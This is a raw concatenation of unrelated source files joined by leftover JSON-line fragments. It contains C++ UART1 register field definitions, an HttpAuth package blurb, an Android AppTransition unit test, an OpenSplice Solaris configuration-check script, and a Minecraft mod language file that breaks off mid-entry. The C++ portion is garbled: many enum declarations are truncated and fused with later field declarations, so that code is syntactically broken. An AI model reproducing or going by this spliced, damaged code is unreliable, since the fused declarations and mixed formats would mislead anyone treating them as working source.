namespace DlabValC{\n constexpr Register::FieldValue disableAccessToDi{};\n constexpr Register::FieldValue enableAccessToDiv{};\n }\n ///Reserved, user software should not write ones to reserved bits. The value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Mcr{ ///;\n ///DTR Control. Source for modem output pin, DTR. This bit reads as 0 when modem loopback mode is active.\n constexpr Register::FieldLocation dtrctrl{}; \n ///RTS Control. Source for modem output pin RTS. This bit reads as 0 when modem loopback mode is active.\n constexpr Register::FieldLocation rtsctrl{}; \n ///Reserved, user software should not write ones to reserved bits. The value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n ///Loopback Mode Select. The modem loopback mode provides a mechanism to perform diagnostic loopback testing. Serial data from the transmitter is connected internally to serial input of the receiver. Input pin, RXD1, has no effect on loopback and output pin, TXD1 is held in marking state. The 4 modem inputs (CTS, DSR, RI and DCD) are disconnected externally. Externally, the modem outputs (RTS, DTR) are set inactive. Internally, the 4 modem outputs are connected to the 4 modem inputs. As a result of these connections, the upper 4 bits of the MSR will be driven by the lower 4 bits of the MCR rather than the 4 modem inputs in normal mode. This permits modem status interrupts to be generated in loopback mode by writing the lower 4 bits of MCR.\n enum class LmsVal {\n disableModemLoopba=0x00000000, /// lms{}; \n namespace LmsValC{\n constexpr Register::FieldValue disableModemLoopba{};\n constexpr Register::FieldValue enableModemLoopbac{};\n }\n ///Reserved, user software should not write ones to reserved bits. The value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n ///RTS enable.\n enum class RtsenVal {\n disableAutoRtsFlo=0x00000000, /// rtsen{}; \n namespace RtsenValC{\n constexpr Register::FieldValue disableAutoRtsFlo{};\n constexpr Register::FieldValue enableAutoRtsFlow{};\n }\n ///CTS enable.\n enum class CtsenVal {\n disableAutoCtsFlo=0x00000000, /// ctsen{}; \n namespace CtsenValC{\n constexpr Register::FieldValue disableAutoCtsFlo{};\n constexpr Register::FieldValue enableAutoCtsFlow{};\n }\n ///Reserved, user software should not write ones to reserved bits. The value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Lsr{ ///;\n ///Receiver Data Ready. LSR[0] is set when the RBR holds an unread character and is cleared when the UART1 RBR FIFO is empty.\n enum class RdrVal {\n empty=0x00000000, /// rdr{}; \n namespace RdrValC{\n constexpr Register::FieldValue empty{};\n constexpr Register::FieldValue notempty{};\n }\n ///Overrun Error. The overrun error condition is set as soon as it occurs. An LSR read clears LSR[1]. LSR[1] is set when UART1 RSR has a new character assembled and the UART1 RBR FIFO is full. In this case, the UART1 RBR FIFO will not be overwritten and the character in the UART1 RSR will be lost.\n enum class OeVal {\n inactive=0x00000000, /// oe{}; \n namespace OeValC{\n constexpr Register::FieldValue inactive{};\n constexpr Register::FieldValue active{};\n }\n ///Parity Error. When the parity bit of a received character is in the wrong state, a parity error occurs. An LSR read clears LSR[2]. Time of parity error detection is dependent on FCR[0]. Note: A parity error is associated with the character at the top of the UART1 RBR FIFO.\n enum class PeVal {\n inactive=0x00000000, /// pe{}; \n namespace PeValC{\n constexpr Register::FieldValue inactive{};\n constexpr Register::FieldValue active{};\n }\n ///Framing Error. When the stop bit of a received character is a logic 0, a framing error occurs. An LSR read clears LSR[3]. The time of the framing error detection is dependent on FCR0. Upon detection of a framing error, the RX will attempt to resynchronize to the data and assume that the bad stop bit is actually an early start bit. However, it cannot be assumed that the next received byte will be correct even if there is no Framing Error. Note: A framing error is associated with the character at the top of the UART1 RBR FIFO.\n enum class FeVal {\n inactive=0x00000000, /// fe{}; \n namespace FeValC{\n constexpr Register::FieldValue inactive{};\n constexpr Register::FieldValue active{};\n }\n ///Break Interrupt. When RXD1 is held in the spacing state (all zeroes) for one full character transmission (start, data, parity, stop), a break interrupt occurs. Once the break condition has been detected, the receiver goes idle until RXD1 goes to marking state (all ones). An LSR read clears this status bit. The time of break detection is dependent on FCR[0]. Note: The break interrupt is associated with the character at the top of the UART1 RBR FIFO.\n enum class BiVal {\n inactive=0x00000000, /// bi{}; \n namespace BiValC{\n constexpr Register::FieldValue inactive{};\n constexpr Register::FieldValue active{};\n }\n ///Transmitter Holding Register Empty. THRE is set immediately upon detection of an empty UART1 THR and is cleared on a THR write.\n enum class ThreVal {\n valid=0x00000000, /// thre{}; \n namespace ThreValC{\n constexpr Register::FieldValue valid{};\n constexpr Register::FieldValue thrIsEmpty{};\n }\n ///Transmitter Empty. TEMT is set when both THR and TSR are empty; TEMT is cleared when either the TSR or the THR contain valid data.\n enum class TemtVal {\n valid=0x00000000, /// temt{}; \n namespace TemtValC{\n constexpr Register::FieldValue valid{};\n constexpr Register::FieldValue empty{};\n }\n ///Error in RX FIFO. LSR[7] is set when a character with a RX error such as framing error, parity error or break interrupt, is loaded into the RBR. This bit is cleared when the LSR register is read and there are no subsequent errors in the UART1 FIFO.\n enum class RxfeVal {\n noerror=0x00000000, /// rxfe{}; \n namespace RxfeValC{\n constexpr Register::FieldValue noerror{};\n constexpr Register::FieldValue errors{};\n }\n ///Reserved, the value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Msr{ ///;\n ///Delta CTS. Set upon state change of input CTS. Cleared on an MSR read.\n enum class DctsVal {\n noChangeDetectedO=0x00000000, /// dcts{}; \n namespace DctsValC{\n constexpr Register::FieldValue noChangeDetectedO{};\n constexpr Register::FieldValue stateChangeDetecte{};\n }\n ///Delta DSR. Set upon state change of input DSR. Cleared on an MSR read.\n enum class DdsrVal {\n noChangeDetectedO=0x00000000, /// ddsr{}; \n namespace DdsrValC{\n constexpr Register::FieldValue noChangeDetectedO{};\n constexpr Register::FieldValue stateChangeDetecte{};\n }\n ///Trailing Edge RI. Set upon low to high transition of input RI. Cleared on an MSR read.\n enum class TeriVal {\n noChangeDetectedO=0x00000000, /// teri{}; \n namespace TeriValC{\n constexpr Register::FieldValue noChangeDetectedO{};\n constexpr Register::FieldValue lowToHighTransiti{};\n }\n ///Delta DCD. Set upon state change of input DCD. Cleared on an MSR read.\n enum class DdcdVal {\n noChangeDetectedO=0x00000000, /// ddcd{}; \n namespace DdcdValC{\n constexpr Register::FieldValue noChangeDetectedO{};\n constexpr Register::FieldValue stateChangeDetecte{};\n }\n ///Clear To Send State. Complement of input signal CTS. This bit is connected to MCR[1] in modem loopback mode.\n constexpr Register::FieldLocation cts{}; \n ///Data Set Ready State. Complement of input signal DSR. This bit is connected to MCR[0] in modem loopback mode.\n constexpr Register::FieldLocation dsr{}; \n ///Ring Indicator State. Complement of input RI. This bit is connected to MCR[2] in modem loopback mode.\n constexpr Register::FieldLocation ri{}; \n ///Data Carrier Detect State. Complement of input DCD. This bit is connected to MCR[3] in modem loopback mode.\n constexpr Register::FieldLocation dcd{}; \n ///Reserved, the value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Scr{ ///;\n ///A readable, writable byte.\n constexpr Register::FieldLocation pad{}; \n ///Reserved. Read value is undefined, only zero should be written.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Acr{ ///;\n ///Auto-baud start bit. This bit is automatically cleared after auto-baud completion.\n enum class StartVal {\n stop=0x00000000, /// start{}; \n namespace StartValC{\n constexpr Register::FieldValue stop{};\n constexpr Register::FieldValue start{};\n }\n ///Auto-baud mode select bit.\n enum class ModeVal {\n mode0=0x00000000, /// mode{}; \n namespace ModeValC{\n constexpr Register::FieldValue mode0{};\n constexpr Register::FieldValue mode1{};\n }\n ///Auto-baud restart bit.\n enum class AutorestartVal {\n noRestart=0x00000000, /// autorestart{}; \n namespace AutorestartValC{\n constexpr Register::FieldValue noRestart{};\n constexpr Register::FieldValue restartInCaseOfT{};\n }\n ///Reserved, user software should not write ones to reserved bits. The value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n ///End of auto-baud interrupt clear bit (write-only).\n enum class AbeointclrVal {\n writingA0HasNoI=0x00000000, /// abeointclr{}; \n namespace AbeointclrValC{\n constexpr Register::FieldValue writingA0HasNoI{};\n constexpr Register::FieldValue writingA1WillCle{};\n }\n ///Auto-baud time-out interrupt clear bit (write-only).\n enum class AbtointclrVal {\n writingA0HasNoI=0x00000000, /// abtointclr{}; \n namespace AbtointclrValC{\n constexpr Register::FieldValue writingA0HasNoI{};\n constexpr Register::FieldValue writingA1WillCle{};\n }\n ///Reserved, user software should not write ones to reserved bits. The value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Fdr{ ///;\n ///Baud rate generation pre-scaler divisor value. If this field is 0, fractional baud rate generator will not impact the UART1 baud rate.\n constexpr Register::FieldLocation divaddval{}; \n ///Baud rate pre-scaler multiplier value. This field must be greater or equal 1 for UART1 to operate properly, regardless of whether the fractional baud rate generator is used or not.\n constexpr Register::FieldLocation mulval{}; \n ///Reserved. Read value is undefined, only zero should be written.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Ter{ ///;\n ///Reserved. Read value is undefined, only zero should be written.\n constexpr Register::FieldLocation reserved{}; \n ///When this bit is 1, as it is after a Reset, data written to the THR is output on the TXD pin as soon as any preceding data has been sent. If this bit cleared to 0 while a character is being sent, the transmission of that character is completed, but no further characters are sent until this bit is set again. In other words, a 0 in this bit blocks the transfer of characters from the THR or TX FIFO into the transmit shift register. Software can clear this bit when it detects that the a hardware-handshaking TX-permit signal (CTS) has gone false, or with software handshaking, when it receives an XOFF character (DC3). Software can set this bit again when it detects that the TX-permit signal has gone true, or when it receives an XON (DC1) character.\n constexpr Register::FieldLocation txen{}; \n ///Reserved. Read value is undefined, only zero should be written.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Rs485ctrl{ ///;\n ///RS-485/EIA-485 Normal Multidrop Mode (NMM) mode select.\n enum class NmmenVal {\n disabled=0x00000000, /// nmmen{}; \n namespace NmmenValC{\n constexpr Register::FieldValue disabled{};\n constexpr Register::FieldValue enabledInThisMod{};\n }\n ///Receive enable.\n enum class RxdisVal {\n enabled=0x00000000, /// rxdis{}; \n namespace RxdisValC{\n constexpr Register::FieldValue enabled{};\n constexpr Register::FieldValue disabled{};\n }\n ///Auto Address Detect (AAD) enable.\n enum class AadenVal {\n disabled=0x00000000, /// aaden{}; \n namespace AadenValC{\n constexpr Register::FieldValue disabled{};\n constexpr Register::FieldValue enabled{};\n }\n ///Direction control.\n enum class SelVal {\n rtsIfDirectionCo=0x00000000, /// sel{}; \n namespace SelValC{\n constexpr Register::FieldValue rtsIfDirectionCo{};\n constexpr Register::FieldValue dtrIfDirectionCo{};\n }\n ///Direction control enable.\n enum class DctrlVal {\n disableAutoDirecti=0x00000000, /// dctrl{}; \n namespace DctrlValC{\n constexpr Register::FieldValue disableAutoDirecti{};\n constexpr Register::FieldValue enableAutoDirectio{};\n }\n ///Polarity. This bit reverses the polarity of the direction control signal on the RTS (or DTR) pin.\n enum class OinvVal {\n lowTheDirectionC=0x00000000, /// oinv{}; \n namespace OinvValC{\n constexpr Register::FieldValue lowTheDirectionC{};\n constexpr Register::FieldValue highTheDirection{};\n }\n ///Reserved, user software should not write ones to reserved bits. The value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Rs485adrmatch{ ///;\n ///Contains the address match value.\n constexpr Register::FieldLocation adrmatch{}; \n ///Reserved. Read value is undefined, only zero should be written.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Rs485dly{ ///;\n ///Contains the direction control (RTS or DTR) delay value. This register works in conjunction with an 8-bit counter.\n constexpr Register::FieldLocation dly{}; \n ///Reserved. Read value is undefined, only zero should be written.\n constexpr Register::FieldLocation reserved{}; \n }\n}\n"} +{"text": "\n\n\n\n\nThe API for client-side HTTP authentication against a server,\ncommonly referred to as HttpAuth.\n\n\n\n"} +{"text": "/*\n * Copyright (C) 2016 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.android.server.wm;\n\nimport static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;\nimport static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;\nimport static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_STARTING;\nimport static android.view.WindowManager.LayoutParams.TYPE_BASE_APPLICATION;\nimport static android.view.WindowManager.TRANSIT_ACTIVITY_CLOSE;\nimport static android.view.WindowManager.TRANSIT_ACTIVITY_OPEN;\nimport static android.view.WindowManager.TRANSIT_CRASHING_ACTIVITY_CLOSE;\nimport static android.view.WindowManager.TRANSIT_KEYGUARD_GOING_AWAY;\nimport static android.view.WindowManager.TRANSIT_KEYGUARD_UNOCCLUDE;\n\nimport static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;\n\nimport static com.android.dx.mockito.inline.extended.ExtendedMockito.doNothing;\nimport static com.android.dx.mockito.inline.extended.ExtendedMockito.doReturn;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertFalse;\nimport static org.junit.Assert.assertNull;\nimport static org.junit.Assert.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\n\nimport android.os.IBinder;\nimport android.os.RemoteException;\nimport android.platform.test.annotations.Presubmit;\nimport android.view.Display;\nimport android.view.IRemoteAnimationFinishedCallback;\nimport android.view.IRemoteAnimationRunner;\nimport android.view.RemoteAnimationAdapter;\nimport android.view.RemoteAnimationTarget;\nimport android.view.WindowManager;\n\nimport androidx.test.filters.FlakyTest;\nimport androidx.test.filters.SmallTest;\n\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\n\n/**\n * Test class for {@link AppTransition}.\n *\n * Build/Install/Run:\n * atest WmTests:AppTransitionTests\n */\n@SmallTest\n@Presubmit\n@RunWith(WindowTestRunner.class)\npublic class AppTransitionTests extends WindowTestsBase {\n private DisplayContent mDc;\n\n @Before\n public void setUp() throws Exception {\n doNothing().when(mWm.mRoot).performSurfacePlacement();\n mDc = mWm.getDefaultDisplayContentLocked();\n }\n\n @Test\n public void testKeyguardOverride() {\n mWm.prepareAppTransition(TRANSIT_ACTIVITY_OPEN, false /* alwaysKeepCurrent */);\n mWm.prepareAppTransition(TRANSIT_KEYGUARD_GOING_AWAY, false /* alwaysKeepCurrent */);\n assertEquals(TRANSIT_KEYGUARD_GOING_AWAY, mDc.mAppTransition.getAppTransition());\n }\n\n @Test\n public void testKeyguardKeep() {\n mWm.prepareAppTransition(TRANSIT_KEYGUARD_GOING_AWAY, false /* alwaysKeepCurrent */);\n mWm.prepareAppTransition(TRANSIT_ACTIVITY_OPEN, false /* alwaysKeepCurrent */);\n assertEquals(TRANSIT_KEYGUARD_GOING_AWAY, mDc.mAppTransition.getAppTransition());\n }\n\n @Test\n public void testForceOverride() {\n mWm.prepareAppTransition(TRANSIT_KEYGUARD_UNOCCLUDE, false /* alwaysKeepCurrent */);\n mDc.prepareAppTransition(TRANSIT_ACTIVITY_OPEN,\n false /* alwaysKeepCurrent */, 0 /* flags */, true /* forceOverride */);\n assertEquals(TRANSIT_ACTIVITY_OPEN, mDc.mAppTransition.getAppTransition());\n }\n\n @Test\n public void testCrashing() {\n mWm.prepareAppTransition(TRANSIT_ACTIVITY_OPEN, false /* alwaysKeepCurrent */);\n mWm.prepareAppTransition(TRANSIT_CRASHING_ACTIVITY_CLOSE, false /* alwaysKeepCurrent */);\n assertEquals(TRANSIT_CRASHING_ACTIVITY_CLOSE, mDc.mAppTransition.getAppTransition());\n }\n\n @Test\n public void testKeepKeyguard_withCrashing() {\n mWm.prepareAppTransition(TRANSIT_KEYGUARD_GOING_AWAY, false /* alwaysKeepCurrent */);\n mWm.prepareAppTransition(TRANSIT_CRASHING_ACTIVITY_CLOSE, false /* alwaysKeepCurrent */);\n assertEquals(TRANSIT_KEYGUARD_GOING_AWAY, mDc.mAppTransition.getAppTransition());\n }\n\n @Test\n public void testAppTransitionStateForMultiDisplay() {\n // Create 2 displays & presume both display the state is ON for ready to display & animate.\n final DisplayContent dc1 = createNewDisplay(Display.STATE_ON);\n final DisplayContent dc2 = createNewDisplay(Display.STATE_ON);\n\n // Create 2 app window tokens to represent 2 activity window.\n final ActivityRecord activity1 = createTestActivityRecord(dc1,\n WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);\n final ActivityRecord activity2 = createTestActivityRecord(dc2,\n WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);\n\n activity1.allDrawn = true;\n activity1.startingDisplayed = true;\n activity1.startingMoved = true;\n\n // Simulate activity resume / finish flows to prepare app transition & set visibility,\n // make sure transition is set as expected for each display.\n dc1.prepareAppTransition(TRANSIT_ACTIVITY_OPEN,\n false /* alwaysKeepCurrent */, 0 /* flags */, false /* forceOverride */);\n assertEquals(TRANSIT_ACTIVITY_OPEN, dc1.mAppTransition.getAppTransition());\n dc2.prepareAppTransition(TRANSIT_ACTIVITY_CLOSE,\n false /* alwaysKeepCurrent */, 0 /* flags */, false /* forceOverride */);\n assertEquals(TRANSIT_ACTIVITY_CLOSE, dc2.mAppTransition.getAppTransition());\n // One activity window is visible for resuming & the other activity window is invisible\n // for finishing in different display.\n activity1.setVisibility(true, false);\n activity2.setVisibility(false, false);\n\n // Make sure each display is in animating stage.\n assertTrue(dc1.mOpeningApps.size() > 0);\n assertTrue(dc2.mClosingApps.size() > 0);\n assertTrue(dc1.isAppTransitioning());\n assertTrue(dc2.isAppTransitioning());\n }\n\n @Test\n public void testCleanAppTransitionWhenTaskStackReparent() {\n // Create 2 displays & presume both display the state is ON for ready to display & animate.\n final DisplayContent dc1 = createNewDisplay(Display.STATE_ON);\n final DisplayContent dc2 = createNewDisplay(Display.STATE_ON);\n\n final ActivityStack stack1 = createTaskStackOnDisplay(dc1);\n final Task task1 = createTaskInStack(stack1, 0 /* userId */);\n final ActivityRecord activity1 =\n WindowTestUtils.createTestActivityRecord(dc1);\n task1.addChild(activity1, 0);\n\n // Simulate same app is during opening / closing transition set stage.\n dc1.mClosingApps.add(activity1);\n assertTrue(dc1.mClosingApps.size() > 0);\n\n dc1.prepareAppTransition(TRANSIT_ACTIVITY_OPEN,\n false /* alwaysKeepCurrent */, 0 /* flags */, false /* forceOverride */);\n assertEquals(TRANSIT_ACTIVITY_OPEN, dc1.mAppTransition.getAppTransition());\n assertTrue(dc1.mAppTransition.isTransitionSet());\n\n dc1.mOpeningApps.add(activity1);\n assertTrue(dc1.mOpeningApps.size() > 0);\n\n // Move stack to another display.\n stack1.reparent(dc2.getDefaultTaskDisplayArea(), true);\n\n // Verify if token are cleared from both pending transition list in former display.\n assertFalse(dc1.mOpeningApps.contains(activity1));\n assertFalse(dc1.mOpeningApps.contains(activity1));\n }\n\n @Test\n public void testLoadAnimationSafely() {\n DisplayContent dc = createNewDisplay(Display.STATE_ON);\n assertNull(dc.mAppTransition.loadAnimationSafely(\n getInstrumentation().getTargetContext(), -1));\n }\n\n @Test\n public void testCancelRemoteAnimationWhenFreeze() {\n final DisplayContent dc = createNewDisplay(Display.STATE_ON);\n doReturn(false).when(dc).onDescendantOrientationChanged(any(), any());\n final WindowState exitingAppWindow = createWindow(null /* parent */, TYPE_BASE_APPLICATION,\n dc, \"exiting app\");\n final ActivityRecord exitingActivity= exitingAppWindow.mActivityRecord;\n // Wait until everything in animation handler get executed to prevent the exiting window\n // from being removed during WindowSurfacePlacer Traversal.\n waitUntilHandlersIdle();\n\n // Set a remote animator.\n final TestRemoteAnimationRunner runner = new TestRemoteAnimationRunner();\n final RemoteAnimationAdapter adapter = new RemoteAnimationAdapter(\n runner, 100, 50, true /* changeNeedsSnapshot */);\n // RemoteAnimationController will tracking RemoteAnimationAdapter's caller with calling pid.\n adapter.setCallingPidUid(123, 456);\n\n // Simulate activity finish flows to prepare app transition & set visibility,\n // make sure transition is set as expected.\n dc.prepareAppTransition(TRANSIT_ACTIVITY_CLOSE,\n false /* alwaysKeepCurrent */, 0 /* flags */, false /* forceOverride */);\n assertEquals(TRANSIT_ACTIVITY_CLOSE, dc.mAppTransition.getAppTransition());\n dc.mAppTransition.overridePendingAppTransitionRemote(adapter);\n exitingActivity.setVisibility(false, false);\n assertTrue(dc.mClosingApps.size() > 0);\n\n // Make sure window is in animating stage before freeze, and cancel after freeze.\n assertTrue(dc.isAppTransitioning());\n assertFalse(runner.mCancelled);\n dc.mAppTransition.freeze();\n assertFalse(dc.isAppTransitioning());\n assertTrue(runner.mCancelled);\n }\n\n @Test\n public void testGetAnimationStyleResId() {\n // Verify getAnimationStyleResId will return as LayoutParams.windowAnimations when without\n // specifying window type.\n final WindowManager.LayoutParams attrs = new WindowManager.LayoutParams();\n attrs.windowAnimations = 0x12345678;\n assertEquals(attrs.windowAnimations, mDc.mAppTransition.getAnimationStyleResId(attrs));\n\n // Verify getAnimationStyleResId will return system resource Id when the window type is\n // starting window.\n attrs.type = TYPE_APPLICATION_STARTING;\n assertEquals(mDc.mAppTransition.getDefaultWindowAnimationStyleResId(),\n mDc.mAppTransition.getAnimationStyleResId(attrs));\n }\n\n private class TestRemoteAnimationRunner implements IRemoteAnimationRunner {\n boolean mCancelled = false;\n @Override\n public void onAnimationStart(RemoteAnimationTarget[] apps,\n RemoteAnimationTarget[] wallpapers,\n IRemoteAnimationFinishedCallback finishedCallback) throws RemoteException {\n }\n\n @Override\n public void onAnimationCancelled() {\n mCancelled = true;\n }\n\n @Override\n public IBinder asBinder() {\n return null;\n }\n }\n}\n"} +{"text": ". \"$OSPL_HOME/bin/checkconf\"\n\nSPLICE_HOST=sparc.solaris10_studio12-debug\nSPLICE_TARGET=sparc.solaris10_studio12-debug\nexport SPLICE_HOST SPLICE_TARGET\n\nERRS=0\n\nbinutils_native_check || ERRS=1\nsun_cc_studio12_check || ERRS=1\nmake_check || ERRS=1\ngawk_check || ERRS=1\nbison_check || ERRS=1\nflex_check || ERRS=1\njavac_check || ERRS=1\ngmcs_check || ERRS=1\ntao_check || ERRS=1\njacorb_check || ERRS=1\ngsoap_check || ERRS=1\ndoxygen_check || ERRS=1\nprotoc_check || ERRS=1\nc99_check || ERRS=1\nmaven_check_inner || ERRS=1\nkey_value_store_check || ERRS=1\n\nSPLICE_HOST_FULL=solaris10_studio12.${STUDIO_VERSION}-debug\nSPLICE_TARGET_FULL=$SPLICE_HOST_FULL\nexport SPLICE_HOST_FULL SPLICE_TARGET_FULL\n\nif [ -z \"$REPORT\" ]\nthen\n if [ \"$ERRS\" = \"0\" ]\n then\n echo Configuration OK\n CONFIGURATION=OK\n else\n echo Configuration Invalid\n CONFIGURATION=INVALID\n fi\n export CONFIGURATION\n cleanup_checks\nfi\n"} +{"text": "###########################################################\n# Items\n###########################################################\n\nitem.woot.die.mesh.name=Mesh Die\nitem.woot.die.plate.name=Plate Die\nitem.woot.die.core.name=Core Die\nitem.woot.die.shard.name=Shard Die\n\nitem.woot.factorycore.heart.name=Heart Core\nitem.woot.factorycore.controller.name=Controller Core\nitem.woot.factorycore.t1_upgrade.name=Tier I Upgrade Core\nitem.woot.factorycore.t2_upgrade.name=Tier II Upgrade Core\nitem.woot.factorycore.t3_upgrade.name=Tier III Upgrade Core\nitem.woot.factorycore.power.name=Power Core\nitem.woot.factorycore.cap.name=Cap Core\n\nitem.woot.factorybase.name=Factory Base\nitem.woot.prism.name=Prism\n\nitem.woot.stygianironingot.name=Stygian Iron Ingot\nitem.woot.stygianironplate.name=Stygian Iron Plate\nitem.woot.stygianirondust.name=Stygian Iron Dust\nitem.woot.soulsanddust.name=Soul Dust\n\nitem.woot.endershard.name=Ender Shard\nitem.woot.shard.diamond.name=Diamond Shard\nitem.woot.shard.emerald.name=Emerald Shard\nitem.woot.shard.quartz.name=Quartz Shard\nitem.woot.shard.netherstar.name=Nether Star Shard\nitem.woot.xpshard.name=XP Shard (16XP)\n\nitem.woot.shard.tier_ii.name=Tier II Shard\nitem.woot.shard.tier_iii.name=Tier III Shard\nitem.woot.shard.tier_iv.name=Tier IV Shard\n\nitem.woot.yahhammer.name=Ya Hammer\nitem.woot.builder.name=The Intern\n\nitem.woot.fakemanual.name=Readme\n\n###########################################################\n# Blocks\n###########################################################\n\ntile.woot.soulstone.name=Soul Stone\ntile.woot.stygianiron.name=Stygian Iron Block\ntile.woot.stygianironore.name=Stygian Iron Ore\ntile.woot.anvil.name=Stygian Iron Anvil\ntile.woot.layout.name=Factory Layout\n\ntile.woot.factory.name=Factory Heart\ntile.woot.controller.name=Factory Controller\ntile.woot.importer.name=Factory Importer\ntile.woot.exporter.name=Factory Exporter\n\ntile.woot.structure.block_1.name=Factory Flesh Casing\ntile.woot.structure.block_2.name=Factory Bone Casing\ntile.woot.structure.block_3.name=Factory Blaze Casing\ntile.woot.structure.block_4.name=Factory Ender Casing\ntile.woot.structure.block_5.name=Factory Nether Casing\ntile.woot.structure.block_upgrade.name=Factory Upgrade Base\n\ntile.woot.structure.tier_i_cap.name=Factory Tier I Cap\ntile.woot.structure.tier_ii_cap.name=Factory Tier II Cap\ntile.woot.structure.tier_iii_cap.name=Factory Tier III Cap\ntile.woot.structure.tier_iv_cap.name=Factory Tier IV Cap\n\ntile.woot.cell.tier_i.name=Basic Power Cell\ntile.woot.cell.tier_ii.name=Advanced Power Cell\ntile.woot.cell.tier_iii.name=Premium Power Cell\n\ntile.woot.upgrade.xp_i.name=XP I Upgrade\ntile.woot.upgrade.xp_ii.name=XP II Upgrade\ntile.woot.upgrade.xp_iii.name=XP III Upgrade\ntile.woot.upgrade.rate_i.name=Rate I Upgrade\ntile.woot.upgrade.rate_ii.name=Rate II Upgrade\ntile.woot.upgrade.rate_iii.name=Rate III Upgrade\ntile.woot.upgrade.looting_i.name=Looting I Upgrade\ntile.woot.upgrade.looting_ii.name=Looting II Upgrade\ntile.woot.upgrade.looting_iii.name=Looting III Upgrade\ntile.woot.upgrade.mass_i.name=Mass I Upgrade\ntile.woot.upgrade.mass_ii.name=Mass II Upgrade\ntile.woot.upgrade.mass_iii.name=Mass III Upgrade\ntile.woot.upgrade.decapitate_i.name=Decapitate I Upgrade\ntile.woot.upgrade.decapitate_ii.name=Decapitate II Upgrade\ntile.woot.upgrade.decapitate_iii.name=Decapitate III Upgrade\ntile.woot.upgradeb.efficiency_i.name=Efficiency I Upgrade\ntile.woot.upgradeb.efficiency_ii.name=Efficiency II Upgrade\ntile.woot.upgradeb.efficiency_iii.name=Efficiency III Upgrade\ntile.woot.upgradeb.bm_le_tank_i.name=Blood Magic Life Essence Tank I Upgrade\ntile.woot.upgradeb.bm_le_tank_ii.name=Blood Magic Life Essence Tank II Upgrade\ntile.woot.upgradeb.bm_le_tank_iii.name=Blood Magic Life Essence Tank III Upgrade\ntile.woot.upgradeb.bm_le_altar_i.name=Blood Magic Life Essence Altar I Upgrade\ntile.woot.upgradeb.bm_le_altar_ii.name=Blood Magic Life Essence Altar II Upgrade\ntile.woot.upgradeb.bm_le_altar_iii.name=Blood Magic Life Essence Altar III Upgrade\ntile.woot.upgradeb.ec_blood_i.name=EvilCraft Blood Tank I Upgrade\ntile.woot.upgradeb.ec_blood_ii.name=EvilCraft Blood Tank II Upgrade\ntile.woot.upgradeb.ec_blood_iii.name=EvilCraft Blood Tank III Upgrade\ntile.woot.upgradeb.bm_crystal_i.name=Blood Magic Crystal I Upgrade\ntile.woot.upgradeb.bm_crystal_ii.name=Blood Magic Crystal II Upgrade\ntile.woot.upgradeb.bm_crystal_iii.name=Blood Magic Crystal III Upgrade\n\n###########################################################\n# Tabs\n###########################################################\nitemGroup.woot=Woot\n\n###########################################################\n# Tooltips\n###########################################################\ninfo.woot.xpshard.0=Use to gain experience\ninfo.woot.xpshard.1=Use while sneaking to use the full stack\n\ninfo.woot.fakemanual.0=Install Guide-API for access to the manual\ninfo.woot.fakemanual.1=Item is called Woot Guide\n\ninfo.woot.endershard.0=Hit mob with shard to capture\ninfo.woot.endershard.1=Kill mobs to fully program\ninfo.woot.endershard.2=Shard must be in your hotbar\ninfo.woot.endershard.3=Can be cleared in a crafting table\ninfo.woot.endershard.a.0=[Unprogrammed]\ninfo.woot.endershard.a.1=[Fully Programmed]\ninfo.woot.endershard.b.0=%s [Kills %d/%d]\ninfo.woot.endershard.b.1=%s [Fully programmed]\n\ninfo.woot.tier=Tier %s\n\ninfo.woot.heart.unformed=Factory not formed\ninfo.woot.heart.progress=Progress: %d%% (%s)\ninfo.woot.heart.recipe=Spawning %s * %d\ninfo.woot.heart.cost=Power %dRF @ %dRF/tick for %d ticks\ninfo.woot.heart.ingredients=Ingredients Per Mob: %d * %s\n\ninfo.woot.guide.rclick=Right-click to change tiers\ninfo.woot.guide.srclick=Sneak Right-click to change levels\n\ninfo.woot.intern.0=Use on the Factory Heart\ninfo.woot.intern.1=I/O blocks and controller must be placed manually\n\ninfo.woot.structure.block_1=Red guide block\ninfo.woot.structure.block_2=Gray guide block\ninfo.woot.structure.block_3=Orange guide block\ninfo.woot.structure.block_4=Green guide block\ninfo.woot.structure.block_5=White guide block\ninfo.woot.structure.block_upgrade=Purple guide block\ninfo.woot.structure.tier_i_cap=Light Gray guide block\ninfo.woot.structure.tier_ii_cap=Yellow guide block\ninfo.woot.structure.tier_iii_cap=Cyan guide block\ninfo.woot.structure.tier_iv_cap=Lime guide block\n\ninfo.woot.hammer.mode.validate_t1=Validate Tier I\ninfo.woot.hammer.mode.validate_t1.desc=Checks that the structure and controller are valid for Tier 